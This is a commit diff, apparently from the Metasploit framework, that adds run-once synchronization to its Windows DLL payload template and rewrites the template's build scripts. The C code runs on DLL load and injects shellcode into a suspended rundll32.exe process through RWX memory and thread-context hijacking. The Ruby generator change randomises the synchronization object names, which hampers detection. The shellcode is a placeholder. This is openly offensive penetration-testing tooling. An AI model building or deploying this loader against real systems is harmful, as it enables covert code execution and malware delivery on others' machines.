Land #14410, Add synchronization to the DLL payload template
This commit is contained in:
@@ -0,0 +1,14 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
move *.dll ..\..\..
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i586-mingw32msvc
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp --def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
||||
@@ -5,11 +5,10 @@
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -20,82 +19,119 @@ void ExecutePayload(void);
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Use a combination semaphore / event to check if the payload is already running and when it is, don't start a new
|
||||
// instance. This is to fix situations where the DLL is loaded multiple times into a host process and prevents the
|
||||
// payload from being executed multiple times. An event object is used to determine if the payload is currently running
|
||||
// in a child process. The event handle is created by this process (the parent) and configured to be inherited by the
|
||||
// child. While the child process is running, the event handle can be successfully opened. When the child process exits,
|
||||
// the event handle that was inherited from the parent will be automatically closed and subsequent calls to open it will
|
||||
// fail. This indicates that the payload is no longer running and a new instance can be created.
|
||||
BOOL Synchronize(void) {
|
||||
BOOL bResult = TRUE;
|
||||
BOOL bRelease = FALSE;
|
||||
HANDLE hSemaphore = NULL;
|
||||
HANDLE hEvent = NULL;
|
||||
SECURITY_ATTRIBUTES SecurityAttributes;
|
||||
|
||||
// step 1: define security attributes that permit handle inheritance
|
||||
SecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
|
||||
SecurityAttributes.lpSecurityDescriptor = NULL;
|
||||
SecurityAttributes.bInheritHandle = TRUE;
|
||||
|
||||
do {
|
||||
// step 2: create a semaphore to synchronize this routine
|
||||
if ((hSemaphore = CreateSemaphoreA(&SecurityAttributes, 1, 1, szSyncNameS)) == NULL) {
|
||||
// if the semaphore creation fails, break out using the default TRUE result, this shouldn't happen
|
||||
break;
|
||||
}
|
||||
|
||||
bResult = FALSE;
|
||||
// step 3: acquire the semaphore, if the operation timesout another instance is already running so exit
|
||||
if (WaitForSingleObject(hSemaphore, 0) == WAIT_TIMEOUT) {
|
||||
break;
|
||||
}
|
||||
bRelease = TRUE;
|
||||
|
||||
// step 4: check if the event already exists
|
||||
if (hEvent = OpenEventA(READ_CONTROL | SYNCHRONIZE, TRUE, szSyncNameE)) {
|
||||
// if the event already exists, do not continue
|
||||
CloseHandle(hEvent);
|
||||
break;
|
||||
}
|
||||
|
||||
// step 5: if the event does not already exist, create a new one that will be inherited by the child process
|
||||
if (hEvent = CreateEventA(&SecurityAttributes, TRUE, TRUE, szSyncNameE)) {
|
||||
bResult = TRUE;
|
||||
}
|
||||
} while (FALSE);
|
||||
|
||||
|
||||
// step 6: release and close the semaphore as necessary
|
||||
if (hSemaphore) {
|
||||
if (bRelease) {
|
||||
ReleaseSemaphore(hSemaphore, 1, NULL);
|
||||
}
|
||||
CloseHandle(hSemaphore);
|
||||
}
|
||||
// *do not* close the event handle (hEvent), it needs to be inherited by the child process
|
||||
return bResult;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
if (Synchronize()) {
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if (CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
EXPORTS
|
||||
DllMain@12
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
|
||||
#define SCSIZE 2048
|
||||
#define SCSIZE 4096
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+5
-1
@@ -545,7 +545,7 @@ require 'msf/core/exe/segment_appender'
|
||||
end
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
|
||||
when :dll
|
||||
max_length = 2048
|
||||
max_length = 4096
|
||||
when :exe_sub
|
||||
max_length = 4096
|
||||
end
|
||||
@@ -562,6 +562,10 @@ require 'msf/core/exe/segment_appender'
|
||||
if opts[:exe_type] == :dll
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
|
||||
offset = pe.index(name)
|
||||
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
|
||||
end
|
||||
|
||||
if opts[:dll_exitprocess]
|
||||
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
|
||||
|
||||
Reference in New Issue
Block a user